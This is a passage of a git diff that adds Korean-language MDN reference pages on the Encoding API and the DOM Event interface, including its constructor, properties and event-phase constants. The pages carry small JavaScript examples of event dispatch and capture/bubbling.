+++ b/files/ko/web/api/encoding_api/index.html
@@ -0,0 +1,62 @@
+---
+title: 인코딩 API
+slug: Web/API/Encoding_API
+tags:
+  - API
+  - 개요
+  - 레퍼런스
+  - 인코딩
+translation_of: Web/API/Encoding_API
+---
+<p>{{DefaultAPISidebar("Encoding API")}}{{SeeCompatTable}}</p>
+
+<p><strong>인코딩 API</strong>는 {{Glossary("문자 인코딩", "character encodings")}}, {{Glossary("UTF-8")}}이 아닌 레거시 인코딩을 포함한 다양한 문자열을 제어할 수 있는 매커니즘을 제공한다.</p>
+
+<p>인코딩 API는 4가지 인터페이스를 제공한다. {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}}, {{domxref("TextEncoderStream")}} 등 이다.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("TextDecoder")}}</li>
+ <li>{{DOMxRef("TextEncoder")}}</li>
+ <li>{{DOMxRef("TextDecoderStream")}}</li>
+ <li>{{DOMxRef("TextEncoderStream")}}</li>
+</ul>
+</div>
+
+<h2 id="Tutorials_tools">Tutorials &amp; tools</h2>
+
+<ul>
+ <li>A <a href="http://code.google.com/p/stringencoding/" title="http://code.google.com/p/stringencoding/">shim</a> allowing to use this interface in browsers that don't support it.</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> – a C-like representation of strings based on typed arrays.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Encoding")}}</td>
+   <td>{{Spec2("Encoding")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<h3 id="TextDecoder"><code>TextDecoder</code></h3>
+
+<p>{{Compat("api.TextDecoder")}}</p>
+
+<h3 id="TextEncoder"><code>TextEncoder</code></h3>
+
+<p>{{Compat("api.TextEncoder")}}</p>
diff --git a/files/ko/web/api/event/cancelable/index.html b/files/ko/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..4c3154cebe
--- /dev/null
+++ b/files/ko/web/api/event/cancelable/index.html
@@ -0,0 +1,23 @@
+---
+title: event.cancelable
+slug: Web/API/Event/cancelable
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/Event/cancelable
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".E6.A6.82.E8.A6.81" name=".E6.A6.82.E8.A6.81">개요</h3>
+<p>이벤트의 취소가 가능한지를 나타냅니다.</p>
+<h3 id=".E6.A7.8B.E6.96.87" name=".E6.A7.8B.E6.96.87">구문</h3>
+<pre class="eval"><em>bool</em> = <em>event</em>.cancelable;
+</pre>
+<p>이벤트에 규정한 액션을 취소할 수 있는가의 가능여부에 따라서 bool은 true 또는 false가 됩니다.</p>
+<h3 id=".E6.B3.A8.E6.84.8F.E7.82.B9" name=".E6.B3.A8.E6.84.8F.E7.82.B9">주의</h3>
+<p>이벤트취소의 가능여부는 이벤트의 초기화 시에 판별됩니다.</p>
+<p>이벤트를 취소하기 위해 <a href="/ja/DOM/event.preventDefault" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="ja/DOM/event.preventDefault">preventDefault</a> 메소드를 호출하게 되며, 관련 이벤트에 규정된 액션을 실행하지 않도록 합니다.</p>
+<h3 id=".E4.BB.95.E6.A7.98.E6.9B.B8" name=".E4.BB.95.E6.A7.98.E6.9B.B8">사양</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-canCancel">DOM Level 2 Events: cancelable</a></p>
+<p> </p>
+<p>{{ languages( { "en": "en/DOM/event.cancelable", "es": "es/DOM/event.cancelable", "pl": "pl/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable" } ) }}</p>
diff --git a/files/ko/web/api/event/cancelbubble/index.html b/files/ko/web/api/event/cancelbubble/index.html
new file mode 100644
index 0000000000..174565f9c4
--- /dev/null
+++ b/files/ko/web/api/event/cancelbubble/index.html
@@ -0,0 +1,90 @@
+---
+title: Event.cancelBubble
+slug: Web/API/Event/cancelBubble
+translation_of: Web/API/Event/cancelBubble
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong>Event.cancelBubble</strong> 속성은 {{domxref("Event.stopPropagation()")}}의 별칭입니다. 이벤트 핸들러에서 반환되기 전에 값을 true로 설정하면 이벤트가 전파되지 않습니다.</p>
+
+<p>Syntax</p>
+
+<pre class="syntaxbox">event.cancelBubble = <em>bool;</em>
+<em>var bool</em> = event.cancelBubble;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre>elem.onclick = function(e) {
+ // do cool things here
+  e.cancelBubble = true;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancellBubble')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Previous to Firefox 53, this property was defined on the {{domxref("UIEvent")}} interface. See {{bug(1298970)}} for more details.</p>
diff --git a/files/ko/web/api/event/createevent/index.html b/files/ko/web/api/event/createevent/index.html
new file mode 100644
index 0000000000..ef05a699e4
--- /dev/null
+++ b/files/ko/web/api/event/createevent/index.html
@@ -0,0 +1,29 @@
+---
+title: Event.createEvent()
+slug: Web/API/Event/createEvent
+translation_of: Web/API/Document/createEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>새로운 event를 생성합니다, 새로 만들어진 event는 반드시 자신의 init() method를 호출함으로써 초기화되어야만 합니다.</p>
+
+<h3 id="Syntax">Syntax</h3>
+
+<pre><code>document.createEvent(type) </code></pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>A string indicating the event type to create.</dd>
+</dl>
+
+<p>이 method는 명시된 타입인 새로운 DOM {{ domxref("Event") }} 객체를 반환하며 이는 반드시 사용 전에 초기화되어야만 합니다.</p>
+
+<h3 id="Example">Example</h3>
+
+<pre>var newEvent = document.createEvent("UIEvents");</pre>
+
+<h3 id="Specification">Specification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document" title="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-document">DOM Level 2 Events</a></li>
+</ul>
diff --git a/files/ko/web/api/event/event/index.html b/files/ko/web/api/event/event/index.html
new file mode 100644
index 0000000000..5ba8e6a6c4
--- /dev/null
+++ b/files/ko/web/api/event/event/index.html
@@ -0,0 +1,77 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+tags:
+  - API
+  - Constructor
+  - DOM
+  - Event
+  - Reference
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>Event()</strong></code> constructor는 새로운 {{domxref("Event")}} 객체를 생성합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Event(<var>typeArg</var>[, <var>eventInit</var>]);</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>typeArg</code></dt>
+ <dd>이 인자는 {{domxref("DOMString")}} 입니다. event의 이름을 나타냅니다.</dd>
+ <dt><code>eventInit</code> {{optional_inline}}</dt>
+ <dd>이 인자는 <code>EventInit</code> dictionary, 입니다. 아래의 추가 옵션 필드가 있습니다.
+ <ul>
+  <li><code>bubbles</code>:  {{jsxref("Boolean")}} 값을 받습니다. 해당 event가 bubble인지 아닌지 결정합니다. 기본값은 <code>false</code> 입니다.</li>
+  <li><code>cancelable</code>: {{jsxref("Boolean")}} 값을 받습니다.event가 캔슬 될 수 있는지 없는지 결정합니다. 기본값은<code>false</code> 입니다.</li>
+  <li><code>composed</code>: {{jsxref("Boolean")}} 값을 받습니다. event가 shadow root 바깥의 eventListener 들도 trigger 할 것인지 결정합니다. (더 자세한 내용은 이곳에서 {{domxref("Event.composed")}} ). 기본값은 <code>false</code> 입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">// create a look event that bubbles up and cannot be canceled
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// event can be dispatched from any element, not only the document
+myDiv.dispatchEvent(evt);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-event-event','Event()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering events</a></li>
+</ul>
diff --git a/files/ko/web/api/event/eventphase/index.html b/files/ko/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..895222832d
--- /dev/null
+++ b/files/ko/web/api/event/eventphase/index.html
@@ -0,0 +1,179 @@
+---
+title: Event.eventPhase
+slug: Web/API/Event/eventPhase
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>현재 발생중인 이벤트 흐름의 단계를 나타냅니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js"><em>var phase</em> = event.eventPhase;
+</pre>
+
+<p>이벤트 흐름의 최근 실행 단계에 대한 지정된 정수값을 반환합니다. 가능한 값은 {{anch("이벤트 단계 상수")}} 목록을 참조.</p>
+
+<h2 id="Constants">Constants</h2>
+
+<h3 id="Event_phase_constants">Event phase constants</h3>
+
+<p>이 값들은 이벤트 흐름의 현재 실행 단계를 나타냅니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Event.NONE</code></td>
+   <td>0</td>
+   <td>아무런 이벤트도 발생하지 않았습니다.</td>
+  </tr>
+  <tr>
+   <td><code>Event.CAPTURING_PHASE</code></td>
+   <td>1</td>
+   <td>이벤트가 상위 개체를 통해 전파됩니다. 이 프로세스는 {{domxref("Window")}},  {{domxref("Document")}}에서 시작하여,  {{domxref("HTMLHtmlElement")}} 등 대상의 부모에 도달할 때까지 요소들을 통과합니다. 이 단계에서 {{domxref("EventTarget.addEventListener()")}} 가 호출될 때 캡처 모드에 있는 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>Event.AT_TARGET</code></td>
+   <td>2</td>
+   <td>이벤트가 {{domxref("EventTarget", "the event's target", "", 1)}}에 도착했습니다. 이 단계에서 등록된 이벤트 리스너가 이 때 호출됩니다. 만약  {{domxref("Event.bubbles")}} 이 <code>false</code> 라면, 이 단계가 완료된 다음 이벤트 진행은 종료됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>Event.BUBBLING_PHASE</code></td>
+   <td>3</td>
+   <td>이벤트가 역순으로 대상의 조상을 통해 전파됩니다. 대상의 부모부터 시작해서, {{domxref("Window")}}를 포함하는 단계까지 도달합니다. 이는 버블링으로 알려져 있으며, {{domxref("Event.bubbles")}}가 <code>true</code> 일 때만 발생합니다. 이 프로세스 중에 이 단계에 등록된 {{domxref("EventListener", "Event listeners", "", 1)}} 가 트리거됩니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>더 상세한 내용은 DOM Level 3 Events 명세인 <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">section 3.1, Event dispatch and DOM event flow</a> 를 참고하세요.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;h4&gt;Event Propagation Chain&lt;/h4&gt;
+&lt;ul&gt;
+  &lt;li&gt;Click 'd1'&lt;/li&gt;
+  &lt;li&gt;Analyse event propagation chain&lt;/li&gt;
+  &lt;li&gt;Click next div and repeat the experience&lt;/li&gt;
+  &lt;li&gt;Change Capturing mode&lt;/li&gt;
+  &lt;li&gt;Repeat the experience&lt;/li&gt;
+&lt;/ul&gt;
+&lt;input type="checkbox" id="chCapture" /&gt;
+&lt;label for="chCapture"&gt;Use Capturing&lt;/label&gt;
+ &lt;div id="d1"&gt;d1
+  &lt;div id="d2"&gt;d2
+      &lt;div id="d3"&gt;d3
+          &lt;div id="d4"&gt;d4&lt;/div&gt;
+      &lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;div id="divInfo"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">div {
+  margin: 20px;
+  padding: 4px;
+  border: thin black solid;
+}
+
+#divInfo {
+  margin: 18px;
+  padding: 8px;
+  background-color:white;
+  font-size:80%;
+}</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">var clear = false, divInfo = null, divs = null, useCapture = false;
+window.onload = function () {
+  divInfo = document.getElementById("divInfo");
+  divs = document.getElementsByTagName('div');
+  chCapture = document.getElementById("chCapture");
+  chCapture.onclick = function () {
+    RemoveListeners();
+    AddListeners();
+  }
+  Clear();
+  AddListeners();
+}
+
+function RemoveListeners() {
+  for (var i = 0; i &lt; divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      d.removeEventListener("click", OnDivClick, true);
+      d.removeEventListener("click", OnDivClick, false);
+    }
+  }
+}
+
+function AddListeners() {
+  for (var i = 0; i &lt; divs.length; i++) {
+    var d = divs[i];
+    if (d.id != "divInfo") {
+      if (chCapture.checked)
+        d.addEventListener("click", OnDivClick, true);
+      else
+        d.addEventListener("click", OnDivClick, false);
+      d.onmousemove = function () { clear = true; };
+    }
+  }
+}
+
+function OnDivClick(e) {
+  if (clear) {
+    Clear(); clear = false;
+  }
+  if (e.eventPhase == 2)
+    e.currentTarget.style.backgroundColor = 'red';
+  var level = e.eventPhase == 0 ? "none" : e.eventPhase == 1 ? "capturing" : e.eventPhase == 2 ? "target" : e.eventPhase == 3 ? "bubbling" : "error";
+  divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "&lt;br/&gt;";
+}
+
+function Clear() {
+  for (var i = 0; i &lt; divs.length; i++) {
+    if (divs[i].id != "divInfo")
+      divs[i].style.backgroundColor = (i &amp; 1) ? "#f6eedb" : "#cceeff";
+  }
+  divInfo.innerHTML = '';
+}</pre>
+
+<p>{{ EmbedLiveSample('Example', '', '700', '', 'Web/API/Event/eventPhase') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/event/index.html b/files/ko/web/api/event/index.html
new file mode 100644
index 0000000000..04c4bc5695
--- /dev/null
+++ b/files/ko/web/api/event/index.html
@@ -0,0 +1,212 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - UI
+  - 이벤트
+translation_of: Web/API/Event
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Event</code></strong> 인터페이스는 DOM 내에 위치한 이벤트를 나타냅니다.</p>
+
+<p>이벤트는 마우스를 클릭하거나 키보드를 누르는 등 사용자 액션에 의해 발생할 수도 있고, 혹은 비동기적 작업의 진행을 나타내기 위해 API가 생성할 수도 있습니다. 요소의 {{domxref("HTMLElement.click()")}} 메서드를 호출하거나, 이벤트를 정의한 후 특정 대상에 대해서 {{domxref("EventTarget.dispatchEvent()")}}를 사용하는 등 프로그래밍적으로도 만들어낼 수 있습니다.</p>
+
+<p>이벤트의 종류는 다양하며 일부는 <code>Event</code> 인터페이스의 파생 인터페이스를 사용합니다. <code>Event</code> 자체는 모든 이벤트에 공통된 속성과 메서드를 가집니다.</p>
+
+<p>많은 DOM 요소는 이벤트를 받고("수신"), 받은 이벤트를 "처리"하는 코드를 실행할 수 있습니다. 이벤트 처리기는 대개 {{domxref("EventTarget.addEventListener()")}}를 사용해 다양한 요소(<code>&lt;button&gt;</code>, <code>&lt;div&gt;</code>, <code>&lt;span&gt;</code>, 등등)에 "부착"합니다. 그리고 제대로 추가한 경우, 반대로 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}}로 제거할 수도 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 하나의 요소는 다수의 처리기를 가질 수 있습니다. 완전히 동일한 이벤트에 대해서도, 예컨대 광고 모듈과 통계 모듈이 각각 비디오 시청을 추적하는 등 여러 처리기를 따로 등록할 수 있습니다.</p>
+</div>
+
+<p>중첩된 많은 요소가 서로 자신만의 처리기를 가지고 있는 경우 이벤트 처리가 매우 복잡해질 수 있습니다. 특히 부모 요소와 자식 요소의 "공간 상 위치"가 겹쳐서 이벤트가 양쪽 모두에서 발생하는 경우, 이벤트 처리 순서는 각 처리기의 <a href="/ko/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">이벤트 확산과 캡처</a> 설정에 따라 달라집니다.</p>
+
+<h2 id="Event_기반_인터페이스">Event 기반 인터페이스</h2>
+
+<p>다음은 <code>Event</code> 인터페이스에서 파생된 인터페이스의 목록입니다.</p>
+
+<p>모든 이벤트 인터페이스 이름은 "Event"로 끝납니다.</p>
+
+<div class="index">
+<ul>
+ <li>
+  <div class="index">
+  <ul>
+   <li>{{domxref("AnimationEvent")}}</li>
+   <li>{{domxref("AudioProcessingEvent")}}</li>
+   <li>{{domxref("BeforeInputEvent")}}</li>
+   <li>{{domxref("BeforeUnloadEvent")}}</li>
+   <li>{{domxref("BlobEvent")}}</li>
+   <li>{{domxref("ClipboardEvent")}}</li>
+   <li>{{domxref("CloseEvent")}}</li>
+   <li>{{domxref("CompositionEvent")}}</li>
+   <li>{{domxref("CSSFontFaceLoadEvent")}}</li>
+   <li>{{domxref("CustomEvent")}}</li>
+   <li>{{domxref("DeviceLightEvent")}}</li>
+   <li>{{domxref("DeviceMotionEvent")}}</li>
+   <li>{{domxref("DeviceOrientationEvent")}}</li>
+   <li>{{domxref("DeviceProximityEvent")}}</li>
+   <li>{{domxref("DOMTransactionEvent")}}</li>
+   <li>{{domxref("DragEvent")}}</li>
+   <li>{{domxref("EditingBeforeInputEvent")}}</li>
+   <li>{{domxref("ErrorEvent")}}</li>
+   <li>{{domxref("FetchEvent")}}</li>
+   <li>{{domxref("FocusEvent")}}</li>
+   <li>{{domxref("GamepadEvent")}}</li>
+   <li>{{domxref("HashChangeEvent")}}</li>
+   <li>{{domxref("IDBVersionChangeEvent")}}</li>
+   <li>{{domxref("InputEvent")}}</li>
+   <li>{{domxref("KeyboardEvent")}}</li>
+   <li>{{domxref("MediaStreamEvent")}}</li>
+   <li>{{domxref("MessageEvent")}}</li>
+   <li>{{domxref("MouseEvent")}}</li>
+   <li>{{domxref("MutationEvent")}}</li>
+   <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+   <li>{{domxref("OverconstrainedError")}}</li>
+   <li>{{domxref("PageTransitionEvent")}}</li>
+   <li>{{domxref("PaymentRequestUpdateEvent")}}</li>
+   <li>{{domxref("PointerEvent")}}</li>
+   <li>{{domxref("PopStateEvent")}}</li>
+   <li>{{domxref("ProgressEvent")}}</li>
+   <li>{{domxref("RelatedEvent")}}</li>
+   <li>{{domxref("RTCDataChannelEvent")}}</li>
+   <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+   <li>{{domxref("RTCIdentityEvent")}}</li>
+   <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+   <li>{{domxref("SensorEvent")}}</li>
+   <li>{{domxref("StorageEvent")}}</li>
+   <li>{{domxref("SVGEvent")}}</li>
+   <li>{{domxref("SVGZoomEvent")}}</li>
+   <li>{{domxref("TimeEvent")}}</li>
+   <li>{{domxref("TouchEvent")}}</li>
+   <li>{{domxref("TrackEvent")}}</li>
+   <li>{{domxref("TransitionEvent")}}</li>
+   <li>{{domxref("UIEvent")}}</li>
+   <li>{{domxref("UserProximityEvent")}}</li>
+   <li>{{domxref("WebGLContextEvent")}}</li>
+   <li>{{domxref("WheelEvent")}}</li>
+  </ul>
+  </div>
+ </li>
+</ul>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Event.Event", "Event()")}}</dt>
+ <dd><code>Event</code> 객체를 생성하고 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 DOM을 타고 위로 확산되는지 나타냅니다.</dd>
+ <dt>{{domxref("Event.cancelBubble")}}</dt>
+ <dd>{{domxref("Event.stopPropagation()")}}의 이명으로, 과거에 사용하던 명칭입니다. 이벤트 처리기가 종료되기 전에 값을 <code>true</code>로 설정하면 더 이상의 확산을 막습니다.</dd>
+ <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt>
+ <dd>이벤트를 취소할 수 있는지 나타냅니다.</dd>
+ <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt>
+ <dd>이벤트가 섀도 DOM과 일반 DOM의 경계를 넘어 확산할 수 있는지 나타내는 불리언입니다.</dd>
+ <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt>
+ <dd>이벤트를 위해 현재 등록된 대상의 참조. 이벤트가 현재 전달되기로한 객체입니다. 재 타게팅을 통해 변경될수도 있습니다.</dd>
+ <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt>
+ <dd>이벤트가 확산하며 거쳐간 DOM {{domxref("Node")}}의 {{jsxref("Array")}}입니다.</dd>
+ <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt>
+ <dd>이벤트의 {{domxref("event.preventDefault()")}}가 호출됐는지를 나타냅니다.</dd>
+ <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt>
+ <dd>처리 중인 이벤트 흐름의 단계를 나타냅니다.</dd>
+ <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>이벤트의 명시적인 원래 대상입니다. (Mozilla 전용)</dd>
+ <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>이벤트 대상 재설정 이전의 원래 대상입니다. (Mozilla 전용)</dd>
+ <dt>{{domxref("Event.returnValue")}}</dt>
+ <dd>Internet Explorer가 도입했으며 구형 사이트의 동작을 보장하기 위해 DOM 명세에 포함된 호환용 속성입니다. 이상적으로는 {{domxref("Event.preventDefault()")}}와 {{domxref("Event.defaultPrevented")}}를 사용해야 하지만, 원하면 <code>returnValue</code>를 사용할 수 있습니다.</dd>
+ <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt>
+ <dd>구버전 Internet Explorer에서 사용한 {{domxref("Event.target")}}의 다른 이름입니다. 비표준이지만 일부 다른 브라우저에서도 호환성을 위해 지원하고 있습니다.</dd>
+ <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 처음에 발생했던 대상의 참조입니다.</dd>
+ <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 생성된 시간(밀리초)입니다. 명세에 따르면 문서 로딩 후 이벤트 생성 시점까지의 시간으로 나타나 있지만 실제 구현은 브라우저마다 다릅니다. 또한 이 속성의 값을 {{domxref("DOMHighResTimeStamp")}}로 바꾸는 작업이 진행 중입니다.</dd>
+ <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
+ <dd>이벤트의 이름입니다. 대소문자를 구분하지 않습니다.</dd>
+ <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
+ <dd>이벤트가 브라우저에 의해 생성, 예컨대 사용자 클릭으로 인해 발생한 것인지, 아니면 {{domxref("Event.initEvent()")}} 등을 사용한 스크립트에서 발생한 것인지 나타냅니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>Obsolete; use {{domxref("Event.composed", "composed")}} instead. (A {{jsxref("Boolean")}} indicating whether the given event will bubble across through the shadow root into the standard DOM.)</dd>
+</dl>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Event.composedPath()")}}</dt>
+ <dd>이벤트의 경로, 즉 수신기를 발동할 모든 객체를 반환합니다. 섀도우 루트의 {{domxref("ShadowRoot.mode")}}가 <code>closed</code>인 경우 섀도우 트리의 노드는 포함하지 않습니다.</dd>
+ <dt>{{domxref("Event.preventDefault()")}}</dt>
+ <dd>취소 가능한 경우 이벤트를 취소합니다.</dd>
+ <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt>
+ <dd>이 특정 이벤트에 대해서 다른 모든 수신기의 호출을 방지합니다. 같은 요소에 부착된 수신기는 물론 캡처 단계 등 이후에 순회활 요소에 부착된 수신기도 이 이벤트를 받지 않습니다.</dd>
+ <dt>{{domxref("Event.stopPropagation()")}}</dt>
+ <dd>이벤트의 DOM 내 추가 확산을 방지합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="더_이상_사용되지_않는_메소드">더 이상 사용되지 않는 메소드</h3>
+
+<dl>
+ <dt>{{domxref("Event.createEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Creates a new event, which must then be initialized by calling its <code>initEvent()</code> method.</dd>
+ <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt>
+ <dd>생성된 이벤트의 값을 초기화합니다. 이벤트가 이미 디스패치되고 있다면, 이 메소드는 아무것도 하지 않습니다.</dd>
+ <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>{{domxref("Event.defaultPrevented")}}의 값을 반환합니다.</dd>
+ <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>이벤트 확산을 방지합니다. {{domxref("event.stopPropagation")}}을 사용하세요.</dd>
+ <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>이벤트 확산을 방지합니다. {{domxref("event.stopPropagation")}}을 사용하세요.</dd>
+</dl>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>명세</th>
+   <th>상태</th>
+   <th>코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
